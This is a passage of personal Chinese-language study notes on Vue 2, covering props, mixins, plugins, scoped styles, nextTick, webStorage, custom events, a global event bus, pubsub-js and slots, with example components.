        console.log(this.$refs.btn)
        console.log(this.$refs.sch)
      }
    }
}
</script>

<style scoped>
  
</style>

# props 配置

image-20210719161204954

  1. 功能:让组件接收外部传过来的数据

    这么干的用处可以当做这个组件会用到一些数据,但我们不在组件里面设置好这些数据因为设置好久固定住了 (虽然可以双向绑定啥的), 但是就正常的 div 标签显示的内容啥的

    要是我们有多个地方使用同样的组件 (样式,功能等) 只是数据不同,我们就可以用到 props 了

    我们在那个组件里面不要设置 data 传入那些可能会变得数据 (而且当前组件可能会用多次), 然后用 props 来接收以及设置一些 restrictions 比如说 type,required,default 等,这样你在别的地方要用这个组件就直接用标签 (除了 main.js (render 函数以及 App 传入那个 h 函数)), 然后再标签里面设置那些需要传的属性

    ( <组件名 属性名=XXX 属性名=XXX></组件名> ), 这里属性名写的必须跟接收的 props 里面写的属性一样.

    注意这里传入的属性值 XXX 必选按照你接收数据的组件里的 props 里设置的 restrictions 来传,要是不符合就报错了

  2. 传递数据: <Demo name="xxx"/>

  3. 接收数据:

    1. 第一种方式(只接收): props:['name']
    2. 第二种方式(限制类型): props:{name:String}
    3. 第三种方式(限制类型、限制必要性、指定默认值):

现在这个 name 属性就会加到我们接收数据的那个组件实例化对象 vc 身上,然后我们就可以在那个组件里面的 template 部分使用这个 name 就行了

注意传的时候可能会是 <Demo :name="xxx"/> 这里给 name 来了一个数据绑定 (v-bind), 这么做可以让 name 后面那个引号中的东西当做表达式,所以你写个数字之后传到组件中就是个数字类型的,你要是不加这个冒号,都是默认传的是字符串类型的,你接收的时候还需要自己转换下类型

props:{
	name:{
	type:String, //类型
	required:true, //必要性
	default:'老王' //默认值
	}
}

备注:props 是只读的 (你接收数据的组件里面只能用这些可能传过来值的属性,可以修改,但可能会出问题,尽量不要这样!),Vue 底层会监测你对 props 的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制 props 的内容到 data 中一份,然后去修改 data 中的数据。

要是真要改的话,可以在我们接收数据的组件里面的 data 函数返回的对象里面设置一个新的属性 (注意跟接收的属性名不能一样), 然后把接收到的属性值存到我们和这个新设属性,然后我们就正常操作这个新设的属性就行了

组件会接收 props 里从别处用这个组件传来的值,之后才是 data 什么的,所以可以在 data 里面接收

<template>
    <div>
        <h1>{{msg}}</h1>
        <h2>学生姓名:{{myName}}</h2>
        <h2>学生年龄:{{age}}</h2>
        <h2>学生性别:{{myAge+1}}</h2>
        <button @click="changeAge">尝试修改传来的年龄</button>
    </div>
</template>

<script>

export default {
    name:'Student',
    data() {
      return {
          msg:"hello,world",
          myName:this.name,
          myAge:this.age,
      }
    },
    methods:{
      changeAge(){
        this.myAge++;
      }
    },
    //props中的prop相较于data是优先接收的
    // 简单接收
    // props:['name','sex','age']

    //接收的同时对数据类型限制
    // props: {
    //   name: String,
    //   age: Number,
    //   sex: String
    // }


    //接收的同时对数据进行类型限制+默认值的指定+必要性的限制
    props:{
      name:{
        type:String, //name的类型:String
        required: true //name是必要的
      },
      age:{
        type:Number,
        default:99     //默认值
      },
      sex:{
        type:String,
        required:true
      }
    }

}
</script>
PLAINTEXT
<div>
    <Student name="cez" sex="男" :age="20"/>
    <hr/>
    <Student name="lxy" sex="女" :age="20"/>
    <hr/>
</div>

# mixin 混入

image-20210719154640462

  1. 功能:可以把多个组件共用的配置提取成一个混入对象

    相当于是把我们 vc 之间有很多一样的东西比如说方法,mounted 里面干的事,data 等等等,这些 vc 里面可以写的可以直接寄把这些作为一个对象写到一个 js 文件中,然后导出

    之后我们在用 js 文件里面的配置项我们就在那个组件里面导入那个 js 文件,然后把导入的 js 文件放进我们当前组件的 mixins 配置项 (属性), 然后我们就可以在这个组件里面用这个 js 文件里面的写的方法啊等等等 (方法名都一样)

    像是 java 里面的工具类

    注意要是传进来的那个 js 文件会把那些设好的给混入我们这个当前组件的,要是我们组件有跟混合的一样的比如说变量名或者方法名,那么会以我们的数据为主,之混合进来我们当前组件没有的

    但是注意生命钩子 (那些函数) 不会以谁为主,比如说要是你混合的里面有 mounted, 你当前 vc 组件也有 mounted, 那么两个函数都会被执行

  2. 使用方式:

    第一步定义混合:

    任意文件名.js (作为混合)

{
    data(){....},
    methods:{....}
    ....
}

第二步使用混入:

  • 全局混入 (在 main.js 里面): Vue.mixin(xxx) ----> 你全部 vc 里面都会有这个混合里面的东西,要么这里面有 mounted 等生命钩子,那么你有几个组件文件这个函数就会被调用几次 (vm + 所有 vc 都需要挂载,所以都会执行由混合进来的 mounted 里面的代码)
  • 局部混入: mixins:[xxx]
  • mixin.js

    export const mixin = {
        methods:{
            showName(){
                alert(this.name);
            }
        }
    }
    
    export const mixin2 = {
        data(){
            return {
                x:100,
                y:200
            }
        }
    }
  • 局部混入:

    //引入混合
    import {mixin,mixin2} from '../mixin'
    export default {
        name:'Student',
        data() {
          return {
              name:'cez',
              sex:'男'
          }
        },
        mixins:[mixin,mixin2]
    
    }
  • 全局混入:(main.js)

    // 引入Vue
    import Vue from 'vue'
    // 引入App
    import App from './App.vue'
    import {mixin,mixin2} from "@/mixin";
    // 关闭Vue的生产提示
    Vue.config.productionTip = false
    
    Vue.mixin(mixin)
    Vue.mixin(mixin2)
    
    // 创建vm
    new Vue({
        el:"#app",
        render:h=>h(App)
    })

# 插件

image-20210719163437235

  1. 功能:用于增强 Vue

  2. 本质:包含__install 方法的一个对象,install 的第一个参数是 Vue,第二个以后的参数是插件使用者传递的数据。__

    Vue 的插件就是一个对象 里面的一个 install 特殊函数方法,该函数里面的参数第一个是 Vue 构造函数 插件相当于游戏外挂 要提前引入 main 里面并且使用 Vue.use(函数方法使用该插件)

  3. 定义插件:

对象.install = function (Vue, options) {
    // 1. 添加全局过滤器
    Vue.filter(....)

    // 2. 添加全局指令
    Vue.directive(....)

    // 3. 配置全局混入(合)
    Vue.mixin(....)

    // 4. 添加实例方法
    Vue.prototype.$myMethod = function () {...}
    Vue.prototype.$myProperty = xxxx
}
  1. 使用插件: Vue.use()

plugins.js

export default {
  install(Vue, x, y, z) {
    console.log(x, y, z);
    //全局过滤器
    Vue.filter("mySlice", function (value) {
      return value.slice(0, 4);
    });

    //定义全局指令
    Vue.directive("fbind", {
      //指令与元素成功绑定时(一上来)
      bind(element, binding) {
        element.value = binding.value;
      },
      //指令所在元素被插入页面时
      inserted(element, binding) {
        element.focus();
      },
      //指令所在的模板被重新解析时
      update(element, binding) {
        element.value = binding.value;
      },
    });

    //定义混入
    Vue.mixin({
      data() {
        return {
          x: 100,
          y: 200,
        };
      },
    });

    //给Vue原型上添加一个方法(vm和vc就都能用了)
    Vue.prototype.hello = () => {
      alert("你好啊");
    };
  },
};

main.js

//引入Vue
import Vue from "vue";
//引入App
import App from "./App.vue";
//引入插件
import plugins from "./plugins";
//关闭Vue的生产提示
Vue.config.productionTip = false;

//应用(使用)插件
Vue.use(plugins, 1, 2, 3);
//创建vm
new Vue({
  el: "#app",
  render: (h) => h(App),
});

组件中使用

<template>
  <div>
    <h2>学校名称:{{ name | mySlice }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <button @click="test">点我测试一个hello方法</button>
  </div>
</template>

<script>
export default {
  name: "School",
  data() {
    return {
      name: "尚硅谷atguigu",
      address: "北京",
    };
  },
  methods: {
    test() {
      this.hello();
    },
  },
};
</script>

# scoped 样式

  • 作用:让样式在局部生效,防止冲突 (以为最终解析 vue 文件是把所有的放在了一起,所以 css 可能冲突因为类名可能会有一样的,然后要有一样的就会被覆盖 (css 权重,层叠性… 那些东西))
  • 写法: <style scoped>

一般组件里面都是 <style scoped> 不过 App 里面可能是 <style> 因为我们一般在 App 写的样式本来就是给所有插件通用的,要是加了 scoped 就不会对那些插件生效了


# Todolist 案例

image-20220129144922209image-20220129145157749

  • 按照功能划分,到底那些算一个组件,一个组件一个功能
  • 一堆数据用数组 数据属性太多了用对象
  • 一般 ul (List) 作为组件,子组件是 Item (li), 我们可以在 List 组件里面使用那个传进来 li, 然后 v-for (按照我们 List 组件有存多少), 以及用标签传数据 (li 组件需要设为 props 接收然后展示到页面上)
  • 但是像我上面说的可能会有点麻烦,因为 header 组件也需要 access 到 data, 但跟 list 是兄弟关系,没法传到 list 里面的数据让他的子组件 item 接收
  • 所以比较 low 的解决方法 (以后会学到更好的办法), 就是把数据都放到父亲 App 那里然后从父亲接收信息来自于 Header 然后传到 List (因为这俩组件都是传到我们的 App 那里,可以标签传然后这俩 props 接收)
  • 如果是子组件比如说 Header 要给 App (父) 组件传数据,我们可以首先把一个在 App 组件里面带有参数的函数传给我们的 Header, 然后子组件可以调用然后把数据作为参数

子组件的 this 是子组件的 vc 实例对象,子组件调用 receive 相当于调用 APP 的 receive 同时还把数据传给了 APP

所以就算你在子组件里面用 props 接收到了那个函数,你是通过 this.XXX 来调用那个函数的,因为你用 props 传进去实际上是做了数据代理把这个放到你这个子组件的身上,但是真正调用的 receive 的函数跟__读取__一个变量 (数据) 一样 (都是表达式), 会触发这个函数属性的 getter (因为是通过数据代理放到 vc 身上的), 然后接着一直找知道了原本我们 App.vue 里面这个函数然后调用 getter, 应该是内部帮我们调用了这个 receive 函数

所以虽然在子组件是通过 this.XXX 来调用那个接收到的函数,而实际执行的是传给这个子组件的 App.vue 里面的 receive 被调用了,然后 receive 函数里面的 this 指向的当然是 App.vue 这个 vc 本身

父组件定义函数,子组件调用函数传递参数。子组件定义属性参数列表,父组件调用子标签属性传参

注意!!!这个函数是传给了儿子,但是这个函数本身是定义在了父亲这,所以函数里面的 this 指向的就是父亲,不过你可以在儿子那里用 this.XXX 来调用这个函数 (调用归调用,会一步一步找到父亲这来执行的)

  • 能不能为空?限制输入?trim 要不要用?
  • 数据写在哪里,对应的增删改查就应该在哪里 (不要再子组件里改变 props 传进来的父组件的数据)

如果传进来的是个对象,然后你在子组件里改了对象地址,这个不行,Vue 会检测到然后报错

如果你在子组件改的是这个对象的属性, 这个确实会改 (其实靠上面 v-model 都会被修改,只是看 Vue 看不看的到你修改了,如果看到你修改了一定会报错), 也不会报错,但不建议这么做!

  • 别忘了 setter 一把都会有一个系统给你传的参数也就是被修改后的值
  • 别拿 v-model 跟一个用 props 引进来的数据进行绑定,其他的该用用

image-20220129230312944

  • 要用的数据一开始是要从存的地方读取出来

image-20220129234225517

注意这里的后面的 ||[] 这代表一开始前面要是空的会是 null (可能子组件会用到这数据 (当前组件传给自己的子,孙子等组件了) 然后这些子孙组件可能会用和这个数据调用方法比如说 length , 那如果是 null 就会报错的),null 是 false 所以会在逻辑或 || 使用的时候会返回后面的也就是让 todos 等于空数组而不是 null

  • 我们设立好监测这个 data 里面的数据 (todos), 要是一有变化,就调用一个函数把现在的 todos 数据重新存入仓库 (覆盖之前的), 所以我们可以就用监测属性

image-20220129233840407

看你是想监视到什么程度,可能会写成对象形式加上那个 deep:true

注意这个 handler 简写的方式,第一个参数是现在监视的数据也就是 todos 在更改之后变成的值 (因为每次有改变才会调用他的监测属性 (handler 函数)), 第二个参数是改之前的数据

__== 注意不要给那个被监视的属性前面加上 this!!!==__比如说上面,todos 是当前组件上面的属性,那么就直接 todos 就行,不要 'this.todos' , 只是要观测比如说 'todos.XXX' 观测当前 vc/vm 对象属性的属性时才需要用。以及’' 扩住

# 突然想说说 js 闭包

一般都是一个函数 (A) 里面的有个函数 (B) 然后外面这个函数 (A) 返回的是里面的函数 (B) 这一整个 (在里面并没有调用 B), 然后我们可以在外边调用函数 A, 然后返回的就是 B, 这个时候 B 是一个函数对象,比如说我们拿一个变量 x 来存。要是我们再调用函数 A 然后将返回值村给变量 y, 那么变量 x 和变量 y 存的地址不同!!!他们存的不是同一个函数对象,每一次执行那个函数 A, 返回的都是新建出来的一个函数对象 B 虽然没有用 new 什么的。然后一般方法里面执行完就结束了,里面啥变量都会被销毁,但是因为函数 A 返回的是函数 B, 且这个函数 B 被存在了一个变量里,那么说明可能会被调用到,那么这个函数 B 本身没有被摧毁__且__他周围的环境比如说在 A 里面的一些变量,如果这些变量被 B 用到了,那么这个变量也不会摧毁,而是一直伴随着这一个 B 函数对象.

比如函数对象 B 里面用的周围变量的值原本是 3, 然后调用函数 B 会把和这个改为 4.

  • 那么现在调用变量 x 存的函数 B 那么用的周围的那个变量会变成 4, 而 y 变量存的函数 B 的周围的那个变量还是 3.

所以可以理解为函数 B 和他周围用到的变量 (环境) 属于一个闭包,每次调用 A 都会产生这么一个闭包,一个独一无二的 “环境”, 再次调用返回的就是另外一个 “环境”.

闭包作用果然应该是在一个函数里面用上别的函数作用域里面的变量啊等等等

第一,闭包是一个函数,而且存在于另一个函数当中
第二,闭包可以访问到父级函数的变量,且该变量不会销毁

作用 1:隐藏变量,避免全局污染
作用 2:可以读取函数内部的变量
同时闭包使用不当,优点就变成了缺点:
缺点 1:导致变量不会被垃圾回收机制回收,造成内存消耗
缺点 2:不恰当的使用闭包可能会造成内存泄漏的问题


# nextTick

  1. 语法: this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  3. 什么时候用:当改变数据后,要基于更新后的新 DOM 进行某些操作时,要在 nextTick 所指定的回调函数中执行

看以下代码:

image-20220130151136325

  • 第一行:这个函数会在一个按钮被点击的时候调动,一旦调用就会触发全局事件总线的 editTodo 事件带上触发这个事件的 Todo 的 id, 然后在别的组件里有个函数在这个事件被触发会被调用,而那个函数作用就是把我们把__ref 设为 updateTextBox 的输入框显示出来 (现在还是被 v-show 隐藏住了)__
  • 第二行:这个函数负责选择我们__选中 ref 设为 updateTextBox 中的文字__

我们想要的效果是一按按钮,然后输入框显示出来然后自动选中其中的文字,_== 但是上面的做法是不行的!!!==_

这是因为 Vue 一般会把一整个 (比如说这里的这个函数) 会将他们看完然后再去解析模板做出改变等等等

所以在第二行执行的时候那个输入框压根都还没出来 (没有重新解析模板呢), 这个输入框还是被隐藏着的,所以你在这里设置选中压根就不会起效果.

解决方法:

image-20220130151949186

用 vc (更具体说是 Vue 原型对象上的)$nextTick 方法,这个方法有个函数作为参数 (这个函数正常写,别写箭头函数)

然后把我们之前选中输入框的内容的代码放到那个回调函数里面去就行了

$nextTick 指定的回调函数会在 DOM 节点更新完毕之后再去执行


# webStorage

  1. 存储内容大小一般支持 5MB 左右(不同浏览器可能还不一样)

  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

  3. 相关 API:

  4. xxxxxStorage.setItem('key', 'value');
    该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

    如果存的是个对象,直接传这个对象 (就算是空对象), 会调用这个 toString 方法变成 [Object Object] , 需要转换成 json 对象!!

  5. xxxxxStorage.getItem('person');

该方法接受一个键名作为参数,返回键名对应的值。

如果读取的是个没有已经存的键,那么读出来的是 null, 然后 JSON.parse (null) 还是 null

  1. xxxxxStorage.removeItem('key');

该方法接受一个键名作为参数,并把该键名从存储中删除。

  1. xxxxxStorage.clear()

该方法会清空存储中的所有数据。

  1. 备注:
    1. SessionStorage 存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage 存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx) 如果 xxx 对应的 value 获取不到,那么 getItem 的返回值是 null。
    4. JSON.parse(null) 的结果依然是 null。

# 组件间通信 props - 自定义事件 - 全局事件总线 - 消息订阅发布 - slot

# 起步

# 组件间通信基本原则

  1. 不要在子组件中直接修改父组件的状态数据
  2. 数据在哪,更新数据的行为 (函数) 就应该定义在哪

# vue 组件间通信方式

  1. props
  2. vue 的自定义事件
  3. 消息订阅与发布 (如: pubsub 库)
  4. slot
  5. vuex

# props

# 使用组件标签时

<my-component name='tom' :age='3' :set-name='setName'></my-component>

# 定义 MyComponent 时

  1. 在组件内声明所有的 props
  2. 方式一:只指定名称
props: ['name', 'age', 'setName']
  1. 方式二:指定名称和类型
props: {
	name: String,
	age: Number,
	setNmae: Function
}
  1. 方式三:指定名称 / 类型 / 必要性 / 默认值
props: {
	name: {type: String, required: true, default:xxx},
}

# 注意

  1. 此方式用于父组件向子组件传递数据
  2. 所有标签属性都会成为组件对象的属性,模板页面可以直接引用
  3. 问题:
    a. 如果需要向非子后代传递数据必须多层逐层传递
    b. 兄弟组件间也不能直接 props 通信,必须借助父组件才可以

可以接收那个标签我们设的任意属性只要是合法的, 所以在标签我们传数据的时候,不一定是需要是:在前面,我们把:

(也就是 v-bind:) 放到前面是指他接下来后面的那个是个表达式,如果那个表达式是我们当前组件有的数据,那么就会检测,以后这数据改了就会在重新解析模板时让他也更新,但是如果不是我们组件有的数据,只是用来写一个表达式比如说一个字符串,那当然没事的, 但是防止让他以为我们传了个变量所以需要再加一个引号,要是我们前面干脆不加:(也就是 v-bind:), 我们用 props 还是照样接收的,不是必须是:(也就是 v-bind:) 才可以接收

# 自定义事件

# 绑定事件监听

// 方式一: 通过v-on 绑定
@delete_todo="deleteTodo"
// 方式二: 通过$on()
this.$refs.xxx.$on('delete_todo', function (todo) {
	this.deleteTodo(todo)
})

注意第二种方式需要用 ref 绑定那个子组件

第二种方式更灵活一些,比如那个绑定的自定义事件的回调函数可以写在 mounted 里面,然后比如说三秒后再绑定等等等,总之比第一种写法然后只能在 methods 里面写事件回调函数要更灵活

# 触发事件

// 触发事件(只能在父组件中接收)
this.$emit(eventName, data)

那个自定义事件绑定的是谁 (组件 vc (标签)) 那就去谁那里设置该如何触发

我们可以比方说在那个组件那里设置一个普通的点击事件,然后如果点了就会触发这个组件自己的自定义事件

this.$emit('之前自定义事件名','可能要传的数据')

然后使用这个标签的父组件里面这个子组件标签绑定的自定义事件被触发了,然后会调用你写的函数,里面接受的参数就是子组件 $emit 传来的__数据参数__

# 示例

之前都是这样绑定事件监听 父组件传递给子组件

<TodoHeader :addTodo="addTodo" /> 

变成

<TodoHeader @addTodo="addTodo" />

v-on 或者 @给__TodoHeader 组件的实例对象 vc__上绑定了一个 addTodo 自定义事件

或者这样

<TodoHeader ref="header" />
mounted(){// 异步执行代码
// 给<>绑定addTodo事件监听
// this.$on('addTodo', this.addTodo) // 给App绑定监听,不对的
this.$refs.header.$on('addTodo', this.addTodo)
}

可以选择 $once 替换 $on 代表此回调函数只执行一次

子组件触发事件

this.addTodo(todo); // demo2中的代码

变成

this.$emit('addTodo', todo)

# 注意

  1. 此方式只用于子组件向父组件发送消息 (数据)
  2. 问题:隔代组件或兄弟组件间通信此种方式不合适

这种方式比 props 好在不用接收然后调用等等等,只需要在一定情况下 $emit 触发事件就可

# 总结

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A 是父组件,B 是子组件,B 想给 A 传数据,那么就要在 A 中给 B 绑定自定义事件(事件的回调在 A 中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中: <Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

<Demo ref="demo"/>
......
mounted(){
   this.$refs.xxx.$on('atguigu',this.test)
}
  1. 若想让自定义事件只能触发一次,可以使用 once 修饰符,或 $once 方法。

  2. 触发自定义事件: this.$emit('atguigu',数据)

  3. 解绑自定义事件 this.$off('atguigu') –> 这个也是,给哪个组件绑定的事件就去哪个组件解绑

    image-20220130101949935

  4. 组件上也可以绑定原生 DOM 事件,需要使用 native 修饰符

如果直接在组件标签上用 @click 比方说是不管用的,会被认为是自定义事件.

需要使用 @click.native

  1. 注意:通过 this.$refs.xxx.$on('atguigu',回调) 绑定自定义事件时,回调要么配置在 methods 中,要么用箭头函数 (要是普通函数那么里面的 this 指向的是这个被绑定自定义事件的子组件实例对象 vc, 因为就是他触发了事件,他调用的啊),否则 this 指向会出问题

当你给组件绑自定义事件的时候回调函数 this 指向被绑定事件的组件,当你调用当前组件的函数的时候,以当前组件函数的 this 为主,vue 规定当前组件函数的 this 指向当前组件 (所以把回调函数配置在 methods 可以让他有几次改变,最终以 this 指向我们当前父组件 vc,(我们之前学过,一个组件 vc 或者 vm 里面的 methods 所用的函数里面的 this 指向的都是当前 vm/vc))

# ⭐️全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 安装全局事件总线:

new Vue({
	......
	beforeCreate() {
		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
	},
    ......
}) 
  1. 使用事件总线:

    (1)接收数据:A 组件想接收数据,则在 A 组件中给 $bus 绑定自定义事件,事件的回调留在 A 组件自身。

methods(){
  demo(data){......}
}
......
mounted() {
  this.$bus.$on('xxxx',this.demo)
}

(2)提供数据: this.$bus.$emit('xxxx',数据)

  1. 最好在 beforeDestroy 钩子中,用 $off 去解绑当前组件所用到的事件。

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this //安装全局事件总线
	},
})

Student.vue

<template>
	<div class="student">
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<button @click="sendStudentName">把学生名给School组件</button>
	</div>
</template>

<script> export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男',
			}
		},
		mounted() {
			// console.log('Student',this.x)
		},
		methods: {
			sendStudentName(){
				this.$bus.$emit('hello',this.name)
			}
		},
	} </script>

<style lang="less" scoped> .student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	} </style>

School.vue

<template>
	<div class="school">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script> export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		mounted() {
			// console.log('School',this)
			this.$bus.$on('hello',(data)=>{
				console.log('我是School组件,收到了数据',data)
			})
		},
		beforeDestroy() {
			this.$bus.$off('hello')
		},
	} </script>

<style scoped> .school{
		background-color: skyblue;
		padding: 5px;
	} </style>
  • 需要一个所有 vm/vc 都能看到的地方,让他当上那个工具人,负责被绑定事件然后触发事件,触发事件的同时传参数将来被绑定事件的那个地方 (哪个 vc 或者 vm) 的回调函数接收那个被传的参数

​ Vue 的原型对象有着一些方法以及属性可以让所有的 vm/vc 使用

​ vc 可以使用是因为 vc.__proto__.__proto__ 就是 Vue 原型对象 (复习上方)

​ vm 也可以,很明显他也可以用 Vue 的原型对象的方法以及属性

image-20220130114500131

  • 这个工具人需要拥有 $emit,$on,$once,$off 等方法

    vc 可以,vm 也可以

我们一般用我们已经创造出来的那个 vm, 而不是 vc (有点麻烦,需要 Vue.extend 获得那个构造函数对象,然后还需要 new 那个构造函数对象)

但是我们用 vm 是不能这样的

image-20220130120251606

因为这里上面 vm 里面已经 render 了,已经把所有的都解析好放到页面上了,App 组件 (以及它里面的所有组件) 的都执行完了包括说__那些 vc 的 (!!!)__的 mounted 部分等等等

我们都已经把所有组件里面的都执行完了,所以里面的可能有些地方我们是绑定事件给 x 身上,但是他们在执行的时候压根就没有 x,x 是所有组件都执行完了然后解析模板结束了才被创造出来的,所以很明显, 不能像上面那么做!

当然我们也不一样把这一行放到创造 vm 上面,因为 vm 那时候压根都还没有呢.

所以我们可以

image-20220130121900094

这么做可以!这是因为 beforeCreate 生命周期钩子是只有在 vm 实例创建好之后,但是任何数据代理等等等都还没进行,模板解析等更是没执行的时候去执行里面的代码。这时候 vm 实例是已经有了但所有值都是初始默认值还没做任何数据代理等,然后我们各种组件等等等都还没有执行,(只有我们在解析模板的时候才会先从 App.vue 执行代码 (因为这里是把 App render 到页面上), 然后发现 App 组件有各种其他组件 (import 语句或者注册组件,到底是哪我也不确定) 就会再去执行那个组件等等等…) 所以这时候我们往 Vue 原型对象上把当前 vm 放上去,我们之后就可以__只有才执行的__所有组件获取到上面的属性以及代码 (包括我们放上去的 vm)

所有生命周期钩子函数里面的 this 指向的都是__当前__vm / 组件 vc

一般我们喜欢把那个工具人叫做 $bus, 其实他指向的就是我们的这个 vm

使用:

现在我们绑定了一个工具人傀儡叫做 $bus, 然后我们在一个组件 A 里面在某个情况 (自己定, 一般都是在那个组件的 mounted 函数里面绑定) 给 $bus 用 $on 绑定了个事件 hello, 然后给了个回调函数

this.$bus.$on('hello',(接收数据的参数)=>{拿接收到的(数据)参数干些事情})

注意:

上方在一个组件 (vc) 里面 this.$bus 是可以指向 Vue 原型对象上的 $bus 也就是我们之前给的 vm

回调函数需要用箭头函数,或者在 methods 里面写一个然后用 this. 函数名来,这样这个回调函数里面的 this 就会指向当前的 vc 而不是调用他的也就是我们的 vm (因为我们是给 vm 绑定事件以及触发时间的)

现在我们在另外任何一个组件 B 里面在某个情况 (自己定) 给 $bus 用 $emit 触发了 hello 事件

this.$bus.$emit('hello',当前vc有的数据)

这么做就会触发这个 hello 事件. 因为当初绑定给这个 $bus 绑定事件的是 A 组件,所以这个 hello 事件被触发后,就会调用当初在 A 组件里面给这个事件设的回调函数,当然这里从 B 组件给的数据也会作为 A 组件的回调函数的参数,然后因为 A 组件里面的回调函数 (通过箭头函数或 methods 里面函数占主机) 里面的 this 指向的肯定是那个组件 A, 这个样子我们就可以将数据从组件 B 传给组件 A 然后 A 做出对应操作,即使组件 A 与组件 B 是兄弟但照样可以传

我觉得最妙的地方在于__在哪里__给任何 (子组件也好,$bus 也好) 给绑定了一个自定义事件,我们__就可以在哪里__设好一个回调函数,然后这个函数有参数代表之后触发事件的组件传递的数据,我们就可以在__哪里__使用那个数据了.

而想要给那个组件传数据就只需要触发这个事件然后把想传的参数一块放进 $emit 里面即可

还有注意!

我们一般会这么做:

image-20220130123857775

在绑定事件的组件 A 那里,在他毁灭前让他解绑这个自定义事件.

这么做万一之后要是有任何的原因这个 A 组件被 $destroy 了或者自己 $destroy , 那么在 A 组件临死前解绑,这样就不会让这个 $bus 存着这个 hello 事件占着,不然这个傀儡上面事件攒着攒着太多了,把不必要的给解绑了

为什么我们之前没这么做?

这是因为我们之前在父组件 A 给子组件 B 绑定事件,要是这个组件 B 会被 $destroy 了或者自己 $destroy , 那么就默认会把__自己__的自定义绑定事件都给解绑了,不需要在组件 B 里面写什么在临死前解绑

而我们上面是给bus存的也就是vm绑定了事件,我们又没想bus存的也就是vm绑定了事件,我们又没想`destroy`vm, 傀儡一直存在

全局事件总线的本质是给组件绑定自定义事件!只不过这里的组件是 this.$bus 也就是 Vue 实例!

# 消息订阅与发布 (PubSubJS 库)

# 订阅消息

PubSub.subscribe('msg', function(msg, data){})

# 发布消息

PubSub.publish('msg', data)

# 示例

订阅消息(绑定事件监听)

import PubSub from 'pubsub-js'

export default {
	mounted () {
		// 订阅消息(deleteTodo)
		PubSub.subscribe('deleteTodo', (msg, index) => {
		this.deleteTodo(index)
		})
	}
}

发布消息(触发事件)

// this.deleteTodo(this.index)
// 发布消息(deleteTodo)
PubSub.publish('deleteTodo', this.index)

# 注意

  1. 优点:此方式可实现任意关系组件间通信 (数据)

# 事件的 2 个重要操作

  1. 绑定事件监听 (订阅消息)
    目标:标签元素 <button>
    事件名 (类型): click/focus
    回调函数: function(event){}
  2. 触发事件 (发布消息)
    DOM 事件:用户在浏览器上对应的界面上做对应的操作
    自定义:编码手动触发

# 总结

  1. 一种组件间通信的方式,适用于任意组件间通信。

    跟全局事件总线很像,一般我们都是用全局事件总线

  2. 使用步骤:

    1. 安装 pubsub: npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A 组件想接收数据,则在 A 组件中订阅消息,订阅的回调留在 A 组件自身。

methods(){
  demo(data){......}
}
......
mounted() {
  this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}
  1. 提供数据: pubsub.publish('xxx',数据)

  2. 最好在 beforeDestroy 钩子中,用 PubSub.unsubscribe(pid) 去取消订阅。

<template>
	<div class="school">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script> import pubsub from 'pubsub-js'
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		mounted() {
			// console.log('School',this)
			/* this.$bus.$on('hello',(data)=>{
				console.log('我是School组件,收到了数据',data)
			}) */
			this.pubId = pubsub.subscribe('hello',(msgName,data)=>{
				console.log(this)
				// console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data)
			})
		},
		beforeDestroy() {
			// this.$bus.$off('hello')
			pubsub.unsubscribe(this.pubId)
		},
	} </script>

<style scoped> .school{
		background-color: skyblue;
		padding: 5px;
	} </style>
  • 注意上方他取消订阅的是把那个 id 给取消了 (有点定时器的意思), 然后需要用 this 把那个 pubId 加到当前组件上,不然找不到 pubId 那个值

  • 注意这个接收数据的回调函数里面默认会有一个数据,然后第二个以后才是你传的数据,第一个默认的是系统传的也就是你这个订阅消息的名字

然后老套路,这里的回调函数当然也要用箭头函数,vue 只保证他管理的函数里面的 this 指向的是 vm/vc, 这可是第三方库

<template>
	<div class="student">
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<button @click="sendStudentName">把学生名给School组件</button>
	</div>
</template>

<script> import pubsub from 'pubsub-js'
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男',
			}
		},
		mounted() {
			// console.log('Student',this.x)
		},
		methods: {
			sendStudentName(){
				// this.$bus.$emit('hello',this.name)
				pubsub.publish('hello',666)
			}
		},
	} </script>

<style lang="less" scoped> .student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	} </style>

# slot (插槽)

# 理解

此方式用于父组件向子组件传递 标签数据

我们有一个子组件,然后父组件用很多这个子组件标签,但是有的子组件标签我们想在他原本有的东西基础上多加点东西比如说第 1,6 个子组件想要加个视频,第 2 个组件加个照片,其他不变

这时候就需要用到插槽了

# 子组件: Child.vue

<template>
	<div>
		<slot name="xxx">不确定的标签结构1</slot>
		<div>组件确定的标签结构</div>
		<slot name="yyy">不确定的标签结构2</slot>
	</div>
